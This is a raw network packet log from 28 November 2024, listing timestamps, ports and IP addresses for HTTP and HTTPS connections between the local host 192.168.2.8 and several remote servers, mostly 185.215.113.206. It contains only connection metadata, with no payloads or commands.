Nov 28, 2024 08:55:55.909570932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.909671068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.910336018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.910403967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.910412073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.910621881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.911144018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.911201954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.911238909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.911288023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.911990881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.912033081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.912107944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.912825108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.912877083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.912923098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.912967920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.913635969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.913724899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.913757086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.913809061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.914489985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.914534092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.914607048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.915319920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.915370941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.915433884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.915488005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.916142941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.916197062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.916255951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.916315079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.916975975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.917031050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.917093992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.917239904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.917857885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.917911053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.917951107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.917999983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.918668032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.918740988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.918767929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.918817043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.919514894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.919564009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.919641018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.919687033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.920356989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.920408010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.920444965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.920504093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.921197891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.921251059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.921283007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.921334028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.921992064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.922081947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.922107935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.922164917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.922859907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.922981024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.923104048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.923752069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.923800945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.923818111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.923866987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.924515963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.924587011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.924654961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.924716949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.925333023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.925393105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.925436020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.925487995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.926181078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.926229000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.926259995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.926389933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.927009106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.927059889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.927124023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.927172899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.927874088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.927931070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.954288006 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.954381943 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.954469919 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.955092907 CET	49811	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:55:55.955116034 CET	443	49811	51.104.15.252	192.168.2.8
Nov 28, 2024 08:55:55.976655960 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.976737976 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.976807117 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.978818893 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.978841066 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.978889942 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.978944063 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.981734991 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.981765032 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.981772900 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.981820107 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.981829882 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.981981039 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.985213041 CET	49816	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.985225916 CET	443	49816	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.985548973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.985611916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.985665083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.985712051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.986016989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.986280918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.986283064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.986351013 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.986454010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.986530066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.987523079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.987534046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.987620115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.987620115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.987898111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.987953901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.988003016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.988390923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.988473892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.988548994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.988970995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.989022970 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.989068031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.989114046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.989604950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.989686966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.989729881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.990365982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.990417957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.990516901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.990689993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.991202116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.991250992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.991302967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.991380930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.991626978 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.991652012 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.991660118 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.991712093 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.991714954 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:55.991832972 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.992017984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.992125034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.992176056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.992923975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.992934942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:55.992969990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:55.998003006 CET	49817	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:55.998039961 CET	443	49817	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015542984 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015573025 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015580893 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015594006 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015628099 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015686035 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.015717030 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.015763044 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.016647100 CET	49820	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.016675949 CET	443	49820	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.022028923 CET	49821	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.022062063 CET	443	49821	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.024676085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.024786949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.024830103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.025240898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.025294065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.025331974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.025588036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.025857925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.025970936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.026015997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.026624918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.026834965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.026937962 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.027420998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.027475119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.027514935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.027638912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.028263092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.028393030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.028462887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.029234886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.029285908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.029295921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.029388905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.029882908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.029951096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.029992104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.030215025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.030733109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.030778885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.030854940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.031003952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.031557083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.031712055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.031857967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.032418966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.032495975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.032553911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.033267975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.033399105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.035368919 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.035392046 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.035461903 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.035465002 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.035568953 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.044151068 CET	49818	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.044161081 CET	443	49818	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.110624075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.110714912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.110754013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.110797882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.110937119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.110979080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.111018896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.111073971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.111777067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.111829996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.111892939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.111954927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.112705946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.112725973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.112809896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.113504887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.113569021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.113574982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.113847971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.114305973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.114346981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.114417076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.114464045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.115206957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.115266085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.115326881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.115448952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.115959883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.116015911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.116266966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.116801023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.116848946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.116897106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.116970062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.117638111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.117767096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.117830992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.118475914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.118541002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.118580103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.118628025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.187622070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.196899891 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.197705984 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.197721004 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.198096991 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.198702097 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.198765039 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.199331045 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.222126007 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.222155094 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.222209930 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.222248077 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.222264051 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.222286940 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.229743004 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.229811907 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.243335962 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.247885942 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.248435020 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.248445988 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.248821020 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.249548912 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.249620914 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.250150919 CET	49822	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.295332909 CET	443	49822	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.303796053 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.303817987 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.303908110 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.303931952 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.303980112 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.307913065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.395656109 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.395735979 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.395764112 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.395816088 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.396787882 CET	49819	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:55:56.396810055 CET	443	49819	23.44.129.36	192.168.2.8
Nov 28, 2024 08:55:56.633105040 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.635813951 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.635881901 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.636464119 CET	49824	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:56.636492014 CET	443	49824	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:56.643842936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.643915892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.643955946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.644005060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.644478083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.644530058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.644558907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.644607067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.644917011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.644936085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.644982100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.645689011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.645736933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.645750046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.645795107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.646655083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.646703959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.646727085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.646754026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.647347927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.647422075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.647470951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.647517920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.648173094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.648236990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.648268938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.648310900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.648988008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.649075985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.649132967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.649825096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.649890900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.649902105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.649938107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.650638103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.650705099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.650742054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.650787115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.651508093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.651566982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.651608944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.651655912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:56.652302027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:56.652355909 CET	49748	80	192.168.2.8	185.215.113.206
